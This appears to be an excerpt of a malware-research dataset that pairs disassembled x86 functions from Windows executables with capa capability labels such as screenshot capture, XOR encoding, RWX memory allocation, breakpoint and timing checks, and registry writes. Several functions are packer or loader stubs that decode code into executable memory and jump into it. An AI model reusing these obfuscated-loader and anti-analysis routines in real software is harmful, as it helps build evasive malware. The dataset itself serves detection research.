joyce8/EMBER2024-capa huggingface dataset:
Function at 0x43dbc0
Capabilities:
Access peb ldr_data
Get number of processors

Disassembly:
push 0xffffffffffffffff
push 0x46efc3
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push ebp
push esi
mov esi, ecx
push edi
mov dword [esp + 0xc], esi
call fcn.004629f2
lea edi, [esi + 0x64]
mov dword [esp + 0x18], 0
mov dword [edi + 4], 0
mov dword [edi], vtable.CBrush.0
mov eax, dword [esp + 0x2c]
mov ebp, dword [esp + 0x24]
mov ecx, dword [esp + 0x30]
mov dword [esi + 0x3c], eax
mov eax, ebp
mov dword [esi], method.CEdit.virtual_0
mov dword [esi + 0x40], ecx
mov dword [esi + 0x44], 0
mov ecx, dword [eax]
lea edx, [esi + 0x48]
mov byte [esp + 0x18], 1
mov dword [edx], ecx
mov ecx, dword [eax + 4]
mov dword [edx + 4], ecx
mov ecx, dword [eax + 8]
mov dword [edx + 8], ecx
mov eax, dword [eax + 0xc]
mov ecx, dword [esp + 0x40]
mov dword [edx + 0xc], eax
mov eax, dword [esp + 0x44]
push eax
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
call dword [sym.imp.GDI32.dll_CreateSolidBrush]
push eax
mov ecx, edi
call fcn.0046808b
mov edx, dword [esp + 0x28]
mov eax, dword [esp + 0x20]
push edx
push eax
push ebp
push 0x50800044
mov ecx, esi
call fcn.004695a7
test eax, eax
je 0x43dcdc
mov ecx, dword [esp + 0x3c]
call fcn.004680b8
mov ecx, dword [esi + 0x1c]
mov ebp, dword [sym.imp.USER32.dll_SendMessageA]
push 0
push eax
push 0x30
push ecx
mov dword [esi + 0x58], eax
call ebp
mov edi, dword [esp + 0x34]
test edi, edi
je 0x43dca0
push edi
mov ecx, esi
call fcn.0046571c
mov ecx, esi
call fcn.0043de40
cmp dword [esp + 0x38], 1
jne 0x43dcd5
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
mov edx, dword [esi + 0x1c]
push 0xffffffffffffffff
not ecx
dec ecx
push ecx
push 0xb1
push edx
call ebp
mov eax, dword [esi + 0x1c]
push 0
push 0
push 0xb7
push eax
call ebp
mov ecx, esi
call fcn.00465857
mov ecx, dword [esp + 0x10]
mov eax, esi
pop edi
pop esi
pop ebp
mov dword fs:[0], ecx
add esp, 0x10
ret 0x28
Function at 0x440710
Capabilities:
Check for software breakpoints

Disassembly:
push esi
mov esi, dword [esp + 8]
cmp dword [esi + 0x10], 0xca
jne 0x440743
push esi
call fcn.00443800
mov eax, dword [esi + 0x40]
add esp, 4
test eax, eax
je 0x44073c
mov dword [esi + 0x10], 0xcf
mov eax, 1
pop esi
ret
mov dword [esi + 0x10], 0xcb
mov eax, dword [esi + 0x10]
cmp eax, 0xcb
jne 0x4407c9
mov eax, dword [esi + 0x1b0]
mov ecx, dword [eax + 0x10]
test ecx, ecx
je 0x4407b2
mov eax, dword [esi + 8]
test eax, eax
je 0x440767
push esi
call dword [eax]
add esp, 4
mov ecx, dword [esi + 0x1b0]
push esi
call dword [ecx]
add esp, 4
test eax, eax
je 0x4407ae
cmp eax, 2
je 0x4407b2
mov ecx, dword [esi + 8]
test ecx, ecx
je 0x44075a
cmp eax, 3
je 0x44078d
cmp eax, 1
jne 0x44075a
mov eax, dword [ecx + 4]
inc eax
mov dword [ecx + 4], eax
mov eax, dword [esi + 8]
mov ecx, dword [eax + 8]
mov edx, dword [eax + 4]
cmp edx, ecx
jl 0x44075a
mov edx, dword [esi + 0x13c]
add edx, ecx
mov dword [eax + 8], edx
jmp 0x44075a
xor eax, eax
pop esi
ret
mov eax, dword [esi + 0x90]
push esi
mov dword [esi + 0x98], eax
call fcn.004407f0
add esp, 4
pop esi
ret
cmp eax, 0xcc
je 0x4407d8
mov ecx, dword [esi]
push esi
call dword [ecx]
add esp, 4
push esi
call fcn.004407f0
add esp, 4
pop esi
ret
Function at 0x44d0b0
Capabilities:
Capture screenshot

Disassembly:
sub esp, 0x10
lea eax, [esp]
push esi
mov esi, dword [esp + 0x18]
push eax
mov ecx, dword [esi]
push ecx
call dword [sym.imp.USER32.dll_GetWindowRect]
mov edx, dword [esi]
push edx
call dword [sym.imp.USER32.dll_GetWindowDC]
push eax
mov dword [esi + 4], eax
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
push 1
push eax
mov dword [esi + 8], eax
call dword [sym.imp.GDI32.dll_SetBkMode]
mov eax, dword [esi + 0x10]
test eax, eax
je 0x44d0fa
push eax
mov eax, dword [esi + 8]
mov dword [esi + 0x18], 0
push eax
jmp 0x44d129
mov ecx, dword [esp + 0x10]
mov eax, dword [esp + 8]
mov edx, dword [esp + 0xc]
sub ecx, eax
mov eax, dword [esi + 4]
push ecx
mov ecx, dword [esp + 8]
mov dword [esi + 0x18], 1
sub edx, ecx
push edx
push eax
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov ecx, dword [esi + 8]
push eax
mov dword [esi + 0x10], eax
push ecx
call dword [sym.imp.GDI32.dll_SelectObject]
mov dword [esi + 0x14], eax
mov eax, dword [esi + 0xc]
cmp eax, 1
jne 0x44d16b
mov edx, dword [esi + 4]
mov eax, dword [esp + 0x10]
mov ecx, dword [esp + 0xc]
push 0xcc0020
push 0
push 0
push edx
mov edx, dword [esp + 0x18]
sub eax, edx
mov edx, dword [esp + 0x14]
sub ecx, edx
mov edx, dword [esi + 8]
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.GDI32.dll_BitBlt]
mov eax, dword [esi + 8]
pop esi
add esp, 0x10
ret 4
Function at 0x4637e8
Capabilities:
Get graphical window text

Disassembly:
push esi
mov esi, ecx
mov ecx, dword [esi + 0x38]
test ecx, ecx
jne 0x463820
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextLengthA]
lea ecx, [eax + 1]
push ecx
mov ecx, dword [esp + 0xc]
push eax
call fcn.0046189f
push eax
push dword [esi + 0x1c]
call dword [sym.imp.USER32.dll_GetWindowTextA]
mov ecx, dword [esp + 8]
push 0xffffffffffffffff
call fcn.00461877
jmp 0x46382c
mov eax, dword [ecx]
push dword [esp + 8]
call dword [eax + 0x88]
pop esi
ret 4

Function at 0x464ed6
Capabilities:
Extract resource via kernel32 functions

Disassembly:
push ebx
push esi
push edi
xor edi, edi
cmp dword [esp + 0x10], edi
mov ebx, ecx
je 0x464f18
call fcn.0046a992
mov esi, dword [eax + 0xc]
push 0xf0
push dword [esp + 0x14]
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceA]
cmp eax, edi
je 0x464f18
push eax
push esi
call dword [sym.imp.KERNEL32.dll_LoadResource]
cmp eax, edi
jne 0x464f0f
xor eax, eax
jmp 0x464f20
push eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov edi, eax
push edi
mov ecx, ebx
call fcn.00464f26
pop edi
pop esi
pop ebx
ret 4

Function at 0x46aec2
Capabilities:
Get thread local storage value

Disassembly:
push ebx
push esi
mov esi, ecx
lea ebx, [esi + 0x1c]
push ebx
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
cmp dword [esp + 0x10], 0
jne 0x46aef0
push dword [esi]
call dword [sym.imp.KERNEL32.dll_TlsGetValue]
test eax, eax
je 0x46af0e
push dword [esp + 0xc]
mov ecx, esi
push eax
call fcn.0046ae28
jmp 0x46af0e
mov eax, dword [esi + 0x14]
test eax, eax
je 0x46af0e
push edi
push dword [esp + 0x10]
mov edi, dword [eax + 4]
mov ecx, esi
push eax
call fcn.0046ae28
test edi, edi
mov eax, edi
jne 0x46aef8
pop edi
push ebx
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
pop esi
pop ebx
ret 8
Function at 0x402907
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x30
pushal
call 0x402916
pop dword [ebp - 0x20]
mov eax, 0xcde9a9bf
sub eax, 0xcda980a9
sub dword [ebp - 0x20], eax
mov dword [ebp - 0x30], 0xca6163f3
sub dword [ebp - 0x30], 0x7c0f1ea8
mov dword [ebp - 0x2c], 0x721f9bbc
add dword [ebp - 0x2c], 0xc013b089
mov dword [ebp - 0x28], 0xd06870cb
sub dword [ebp - 0x28], 0x841c2c9d
mov dword [ebp - 0x24], 0x488caecb
add dword [ebp - 0x24], 0xb7735135
lea eax, [ebp - 0x30]
push eax
mov eax, 0xc9201f58
add eax, 0x372050c4
add eax, dword [ebp - 0x20]
call dword [eax]
mov dword [ebp - 0x30], 0x1d05c8ee
sub dword [ebp - 0x30], 0xa8935f98
mov dword [ebp - 0x2c], 0x3c0d8d77
add dword [ebp - 0x2c], 0x55ed3fe
mov dword [ebp - 0x28], 0x5370bf43
sub dword [ebp - 0x28], 0xf00152d7
mov dword [ebp - 0x24], 0x9a850162
add dword [ebp - 0x24], 0x657afe9e
lea ebx, [ebp - 0x30]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0x20]
call dword [eax]
push 0x40
push 0x1000
push 0x34e30
push 0
call eax
mov ecx, 0x82726801
add ecx, 0x7d8dd495
mov edi, eax
mov edx, 0xef656588
add edx, 0x10db6278
add edx, dword [ebp - 0x20]
mov esi, 0x798d87db
add esi, 0xea7e0de2
xor dword [ebp - 4], ebx
mov ebx, dword [edx]
sub dword [ebp - 0x18], esi
sub ebx, esi
mov dword [ebp - 8], 0x9ab20e3d
mov dword [edi], ebx
add dword [ebp - 0xc], esi
add edi, 0xb6d7d08f
add edi, 0x49282f75
add edx, 4
loop 0x402a33
add eax, 0xe52b
xor ebx, ebx
add ebx, eax
add eax, 5
mov ecx, 0x9c607e83
sub ecx, 0x9c207e83
add ecx, dword [ebp - 0x20]
call ebx
leave
ret

Function at 0x404635
Capabilities:
Check if file exists

Disassembly:
push 0x1c
mov eax, 0x4069e0
call fcn.004054fb
cmp dword [0x40a010], 0
mov esi, dword [ebp + 8]
jne 0x404654
mov al, 1
jmp 0x40471d
test esi, esi
je 0x40471b
xor ebx, ebx
cmp word [esi], bx
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
je 0x40471b
push esi
call dword [sym.imp.SHLWAPI.dll_PathIsRelativeW]
test eax, eax
jne 0x40471b
lea eax, [ebp - 0x28]
push esi
push eax
call fcn.00402907
pop ecx
pop ecx
mov esi, dword [0x40a010]
mov dword [ebp - 4], ebx
cmp dword [ebp - 0x18], ebx
je 0x40470f
lea eax, [ebp - 0x28]
push eax
call fcn.00402907
pop ecx
test al, al
jne 0x40470f
cmp dword [ebp - 0x18], esi
jbe 0x40470f
cmp dword [0x40a014], 8
lea eax, [ebp - 0x28]
mov ecx, section..data
cmovae ecx, dword [section..data]
cmp dword [ebp - 0x14], 8
push esi
cmovae eax, dword [ebp - 0x28]
push ecx
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsnicmp]
add esp, 0xc
test eax, eax
jne 0x40470f
cmp dword [ebp - 0x14], 8
lea eax, [ebp - 0x28]
cmovae eax, dword [ebp - 0x28]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFindExtensionW]
test eax, eax
je 0x40470f
push 0x407620
push eax
call dword [sym.imp.api_ms_win_crt_string_l1_1_0.dll__wcsicmp]
xor edx, edx
movzx ebx, bl
inc edx
test eax, eax
pop ecx
pop ecx
cmovne ebx, edx
lea ecx, [ebp - 0x28]
call fcn.00401788
mov al, bl
jmp 0x40471d
xor al, al
call fcn.004054b6
ret
Function at 0x100048e0
Capabilities:
Encode data using xor

Disassembly:
fcomp st(3)
sub al, 0x6f
or dword [ebx], edx
sub dword [edi + 0x35], ebx
adc eax, 0xc571da44
daa
adc byte [ebx], al
aas
ja 0x100048ea
push edx
push ss
jecxz 0x10004941
adc dword [edi], esi
sbb edx, dword [ecx]
stosd dword es:[edi], eax
push cs
or eax, 0x8880d8fe
fistp dword [ebp - 0x7d]
not byte [0x6dd11315]
push edx
lahf
mov byte [0xbdb45e63], al
arpl word [esi - 0x4c], bx
mov ebp, 0x49010083
mov ebp, 0x5db4960e
xchg esi, eax
mov ah, 0x5d
not byte [ecx + 0x23]
rcl byte [ebx + ebp + 0x521efcf9], 0x32
sbb dword [edi], esp
push ds
push edx
xor bl, byte [ecx]
daa
sbb al, 0x16
insb byte es:[edi], dx
or esp, dword [esi - 0x60]
or ah, byte [eax]
push ss
push ds
jae 0x100048f5
int1
retf 0x6ebc
stosb byte es:[edi], al
xor dword [edx + 0x7b], 0x77324f4d
pop edx
inc esi
fdivr dword [0xdf4e9bc]
enter 0xffffffffffffa125, 0x23
sbb byte [edx - 0x70edd1b4], dl
inc ebp
lodsd eax, dword [esi]
out dx, eax
test eax, 0x30530f89
mov byte [0x9b97d3f3], al
sub bl, byte [edi - 0x6b]
sub byte [eax*4 - 0x353dedd6], 0x17
push es
fild qword [edx]
fcomi st(0)
iretd

Function at 0x100079b0
Capabilities:
Encode data using xor

Disassembly:
jo 0x10007a1c
adc bl, byte [esi]
not dword [esi + ebx*2]
add edi, eax
ja 0x100079c9
cmp eax, 0x7f1b5e10
cmpsb byte [esi], byte es:[edi]
push edx
xor edx, dword [ecx - 0x37]
sbb dword [eax - 0x2c], ebx
adc bh, dh
cmp eax, 0x95152e51
idiv dword [0x95152e51]
invalid
Function at 0x10513058
Capabilities:
Decompress data using aplib

Disassembly:
call 0x105131a8
push ebx
mov ebx, esp
push ebx
mov esi, dword [ebx + 8]
mov edi, dword [ebx + 0x10]
cld
mov dl, 0x80
mov al, byte [esi]
inc esi
mov byte [edi], al
inc edi
mov ebx, 2
add dl, dl
jne 0x1051307e
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1051306a
add dl, dl
jne 0x10513089
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x105130dc
xor eax, eax
add dl, dl
jne 0x10513096
mov dl, byte [esi]
inc esi
adc dl, dl
jae 0x1051317d
add dl, dl
jne 0x105130a5
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105130b0
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105130bb
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105130c6
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
je 0x105130d2
push edi
mov eax, eax
sub edi, eax
mov al, byte [edi]
pop edi
mov byte [edi], al
inc edi
mov ebx, 2
jmp 0x10513075
mov eax, 1
add dl, dl
jne 0x105130ea
mov dl, byte [esi]
inc esi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x105130f5
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x105130e1
sub eax, ebx
mov ebx, 1
jne 0x10513128
mov ecx, 1
add dl, dl
jne 0x1051310e
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x10513119
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10513105
push esi
mov esi, edi
sub esi, ebp
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10513075
dec eax
shl eax, 8
mov al, byte [esi]
inc esi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x1051313f
mov dl, byte [esi]
inc esi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x1051314a
mov dl, byte [esi]
inc esi
adc dl, dl
jb 0x10513136
cmp eax, 0x7d00
jae 0x1051316d
cmp eax, 0x500
jb 0x10513168
inc ecx
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10513075
cmp eax, 0x7f
ja 0x10513170
add ecx, 2
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
jmp 0x10513075
mov al, byte [esi]
inc esi
xor ecx, ecx
shr al, 1
je 0x1051319e
adc ecx, 2
mov ebp, eax
push esi
mov esi, edi
sub esi, eax
rep movsb byte es:[edi], byte [esi]
pop esi
mov ebx, 1
jmp 0x10513075
pop ebx
sub edi, dword [ebx + 0x10]
mov eax, edi
pop ebx
ret 0x10
Function at 0x40507c
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x40508b
pop dword [ebp - 0x4c]
mov eax, 0xe7c84b25
add eax, 0x18780566
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3e713
push 0
mov eax, sym.imp.kernel32.dll_VirtualAlloc
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x62177d73
sub ecx, 0x62173347
mov edx, eax
mov ebx, 0xf75bc043
sub ebx, 0xf7186c43
add ebx, dword [ebp - 0x4c]
mov edi, 0x308e0caa
add edi, 0xc991d402
sub dword [ebp - 8], 0xc65372ea
mov esi, dword [ebx]
add dword [ebp - 8], esi
sub esi, edi
mov dword [ebp - 0x38], 0x3a984fac
mov dword [edx], esi
xor dword [ebp - 8], edx
add edx, 0x390f890b
add edx, 0xc6f076f9
add ebx, 0x53786562
add ebx, 0xac879aa2
loop 0x4050e5
add eax, 0x9addccaf
add eax, 0x65234ed4
xor ebx, ebx
add ebx, eax
add eax, 0x73100f87
sub eax, 0x73100f82
mov ecx, 0x400000
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret

Function at 0x407875
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x42f180]
jne 0x40787f
repz ret
jmp fcn.0040bbd7
Function at 0x42e002
Capabilities:
Encode data using xor

Disassembly:
pushal
nop
nop
nop
mov eax, section..rdata
nop
mov ebx, 0x407ef8
nop
mov ecx, 0x6684e18
nop
nop
nop
nop
test eax, eax
nop
nop
nop
nop
nop
je 0x42e04e
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
inc eax
inc eax
nop
nop
nop
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
nop
jne 0x42e024
nop
mov eax, section._RDATA
mov ebx, 0x42cd70
nop
mov ecx, 0x615d7bf0
nop
nop
nop
nop
test eax, eax
nop
nop
je 0x42e084
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
add eax, 4
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
nop
jne 0x42e06c
nop
nop
nop
nop
popal
nop
nop
jmp 0x401219

Function at 0x433000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
call 0x43300c
nop
nop
nop
nop
pop eax
nop
nop
add eax, 0x40a063
nop
sub eax, 0x40a009
nop
nop
nop
mov ebx, dword [eax]
nop
nop
nop
mov ecx, dword [eax + 4]
nop
nop
nop
nop
mov edx, dword [eax + 8]
nop
nop
nop
nop
xor dword [ebx], edx
nop
add ebx, 4
nop
nop
nop
cmp ebx, ecx
nop
nop
nop
nop
nop
jl 0x433030
nop
nop
nop
nop
add eax, 0xc
nop
nop
nop
nop
cmp dword [eax], 0
nop
nop
nop
nop
jne 0x43301e
nop
popal
nop
nop
nop
nop
jmp 0x431219
Function at 0x40672b
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x4c
pushal
call 0x40673a
pop dword [ebp - 0x3c]
mov eax, 0x40673a
sub dword [ebp - 0x3c], eax
mov dword [ebp - 0x4c], 0x8643892a
sub dword [ebp - 0x4c], 0x37f143df
mov dword [ebp - 0x48], 0xfa74fc08
sub dword [ebp - 0x48], 0xc841afc3
mov dword [ebp - 0x44], 0xacb5fb69
sub dword [ebp - 0x44], 0x6069b73b
mov dword [ebp - 0x40], 0x6308f68
sub dword [ebp - 0x40], 0x6308f68
lea eax, [ebp - 0x4c]
push eax
mov eax, 0xb2969ed2
add eax, 0x4da9e232
add eax, dword [ebp - 0x3c]
call dword [eax]
mov dword [ebp - 0x4c], 0x291d39d0
sub dword [ebp - 0x4c], 0xb4aad07a
mov dword [ebp - 0x48], 0xf68c9901
add dword [ebp - 0x48], 0x4adfc874
mov dword [ebp - 0x44], 0xeace3c68
sub dword [ebp - 0x44], 0x875ecffc
mov dword [ebp - 0x40], 0xeedb529f
add dword [ebp - 0x40], 0x1124ad61
lea ebx, [ebp - 0x4c]
push ebx
push eax
mov eax, 0xa2df933b
sub eax, 0xa29f123b
add eax, dword [ebp - 0x3c]
call dword [eax]
push 0x40
push 0x1000
push 0x3d95d
push 0
call eax
mov ecx, 0x2b8af10c
add ecx, 0xd4756f3b
xor edi, edi
add edi, eax
mov ebx, 0x7c182e07
add ebx, 0x842eb5f9
add ebx, dword [ebp - 0x3c]
mov esi, 0xeda64f26
sub esi, 0x555b6c78
mov dword [ebp - 0x24], 0x8094aa69
mov edx, dword [ebx]
mov dword [ebp - 0x38], 0x11f624f6
xor edx, esi
xor dword [ebp - 0x2c], 0x4a40f0f4
mov dword [edi], edx
add dword [ebp - 8], ebx
add edi, 0xae69bbd6
add edi, 0x5196442e
add ebx, 0x8d0c9c5b
add ebx, 0x72f363a9
loop 0x406859
add eax, 0x3f172d24
add eax, 0xc0ea46cb
mov ebx, eax
add eax, 5
mov ecx, 0x9e9d9449
sub ecx, 0x9e5d9449
add ecx, dword [ebp - 0x3c]
call ebx
leave
ret
Function at 0x422bcc
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x49e88c
cmp dword [edi], 0
jne 0x422c48
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x49e888]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x49b5c8
mov ecx, 2
call fcn.004029dc
mov edx, 0x422ba4
lea eax, [esi + 5]
call fcn.00422bc4
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.00422bc4
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0xffc
jl 0x422c1d
mov dword [0x49e888], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8

Function at 0x4240f4
Capabilities:
Encode data using xor

Disassembly:
mov ecx, edx
mov edx, eax
xor eax, eax
rol ax, 5
xor al, byte [edx]
inc edx
dec ecx
jne 0x4240fa
ret

Function at 0x426548
Capabilities:
Get system information on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffd4
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
lea eax, [ebp - 0x2c]
push eax
call sub.kernel32.dll_GetSystemInfo
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 8]
dec ecx
js 0x426599
lea eax, [ebp - 0x2c]
cmp word [eax + 0x20], 3
je 0x426580
mov eax, dword [edx + ecx*4]
bswap eax
shr eax, 8
mov dword [edx + ecx*4], eax
dec ecx
jns 0x426570
jmp 0x426599
push ebx
xor ebx, ebx
mov eax, dword [edx + ecx*4]
mov bh, al
mov bl, ah
shr eax, 0x10
shl ebx, 8
mov bl, al
mov dword [edx + ecx*4], ebx
dec ecx
jns 0x426581
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x432310
Capabilities:
Set registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov edi, edx
mov ebx, eax
mov al, byte [ebp + 8]
call fcn.00431d9c
mov esi, eax
mov eax, dword [ebp + 0xc]
push eax
mov eax, dword [ebp - 4]
push eax
push esi
push 0
mov eax, edi
call fcn.00404e80
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegSetValueExA
test eax, eax
je 0x43236e
mov dword [ebp - 0xc], edi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x49daf4]
mov dl, 1
mov eax, dword [0x431c94]
call fcn.0040d23c
call fcn.00404378
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8
Function at 0x432378
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov edi, ecx
mov esi, edx
mov ebx, eax
xor eax, eax
mov dword [ebp - 4], eax
lea eax, [ebp + 0xc]
push eax
push edi
lea eax, [ebp - 4]
push eax
push 0
mov eax, esi
call fcn.00404e80
push eax
mov eax, dword [ebx + 4]
push eax
call sub.advapi32.dll_RegQueryValueExA_1
test eax, eax
je 0x4323d0
mov dword [ebp - 0xc], esi
mov byte [ebp - 8], 0xb
lea eax, [ebp - 0xc]
push eax
push 0
mov ecx, dword [0x49de50]
mov dl, 1
mov eax, dword [0x431c94]
call fcn.0040d23c
call fcn.00404378
mov ebx, dword [ebp + 0xc]
mov eax, dword [ebp - 4]
call fcn.00431dcc
mov edx, dword [ebp + 8]
mov byte [edx], al
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 8

Function at 0x435ab4
Capabilities:
Enumerate gui resources

Disassembly:
mov byte [eax + 0xc], 0
mov byte [eax + 0xd], 0
xor edx, edx
mov dword [eax + 4], edx
push eax
push 0x435a00
call sub.user32.dll_EnumWindows
ret

Function at 0x435bd4
Capabilities:
Check for time delay via gettickcount

Disassembly:
push ebp
mov ebp, esp
push 0
push ebx
push esi
mov esi, eax
xor eax, eax
push ebp
push 0x435c51
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, esi
call fcn.00435634
call sub.kernel32.dll_GetTickCount_1
mov ebx, eax
push 0
call sub.kernel32.dll_Sleep
call sub.kernel32.dll_GetTickCount_1
sub eax, ebx
cmp eax, 0x3e8
jbe 0x435bf9
lea ecx, [ebp - 4]
xor edx, edx
mov eax, esi
call fcn.00435234
cmp dword [ebp - 4], 0
je 0x435c3b
push 0
push 9
mov eax, dword [ebp - 4]
call fcn.00404e80
push eax
mov eax, dword [esi + 0x1c]
mov edx, dword [eax]
call dword [edx + 0xc]
push eax
call sub.user32.dll_WinHelpA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x435c58
lea eax, [ebp - 4]
call fcn.004049c0
ret
Function at 0x494a18
Capabilities:
Encode data using xor

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xfffffff8
mov ebp, ecx
mov ebx, edx
mov dword [esp], eax
mov eax, ebp
mov edx, dword [esp]
call fcn.00404a14
mov esi, ebx
mov eax, dword [ebp]
call fcn.00404c80
test ax, ax
jbe 0x494a83
mov word [esp + 4], ax
mov bx, 1
mov eax, ebp
call fcn.00404ed8
movzx edi, bx
mov edx, dword [ebp]
mov dl, byte [edx + edi - 1]
movzx ecx, si
shr ecx, 8
xor dl, cl
mov byte [eax + edi - 1], dl
mov eax, dword [esp]
movzx eax, byte [eax + edi - 1]
add si, ax
imul ax, si, 0xce6d
add ax, 0x58bf
mov esi, eax
inc ebx
dec word [esp + 4]
jne 0x494a48
pop ecx
pop edx
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x495bd4
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 4], ecx
mov ebx, eax
xor eax, eax
push ebp
push 0x495d23
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [0x49f114]
mov edx, dword [eax]
call dword [edx + 0x54]
test al, al
je 0x495ceb
xor edx, edx
mov eax, dword [0x49f134]
call fcn.0042f70c
mov edx, 0x495d3c
mov eax, dword [0x49f114]
mov ecx, dword [eax]
call dword [ecx + 0x7c]
push 0xffffffffffffffff
lea eax, [ebp - 4]
push eax
or ecx, 0xffffffff
mov edx, 0x495d4c
mov eax, dword [0x49f114]
mov esi, dword [eax]
call dword [esi + 0x70]
xor eax, eax
push ebp
push 0x495cd3
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
mov edx, 0x495d58
call fcn.00404dcc
jne 0x495c5b
mov eax, ebx
call fcn.00495dd0
mov eax, dword [ebp - 4]
mov edx, 0x495d70
call fcn.00404dcc
jne 0x495c71
mov eax, ebx
call fcn.00495f14
mov eax, dword [ebp - 4]
mov edx, 0x495d88
call fcn.00404dcc
jne 0x495c87
mov eax, ebx
call fcn.00495fdc
mov eax, dword [ebp - 4]
mov edx, 0x495d9c
call fcn.00404dcc
jne 0x495c9d
mov eax, ebx
call fcn.004960c8
mov eax, dword [ebp - 4]
mov edx, 0x495dac
call fcn.00404dcc
jne 0x495cb3
mov eax, ebx
call fcn.00496254
mov eax, dword [ebp - 4]
mov edx, 0x495dc4
call fcn.00404dcc
jne 0x495cc9
mov eax, ebx
call fcn.00496400
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x495cdd
mov dl, 1
mov eax, dword [0x49f134]
call fcn.0042f70c
jmp 0x495d0d
xor edx, edx
mov eax, dword [0x49f134]
call fcn.0042f70c
lea eax, [ebp - 8]
push eax
push 0
push 0
push 0x495930
push 0
push 0
call sub.kernel32.dll_CreateThread_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x495d2a
lea eax, [ebp - 4]
call fcn.004049c0
ret

Function at 0x498248
Capabilities:
Create thread

Disassembly:
push ebx
push ecx
mov ebx, eax
mov eax, ebx
call fcn.00441704
mov dword [0x49f1dc], eax
push esp
push 0
push 0
push 0x497cf0
push 0
push 0
call sub.kernel32.dll_CreateThread_1
pop edx
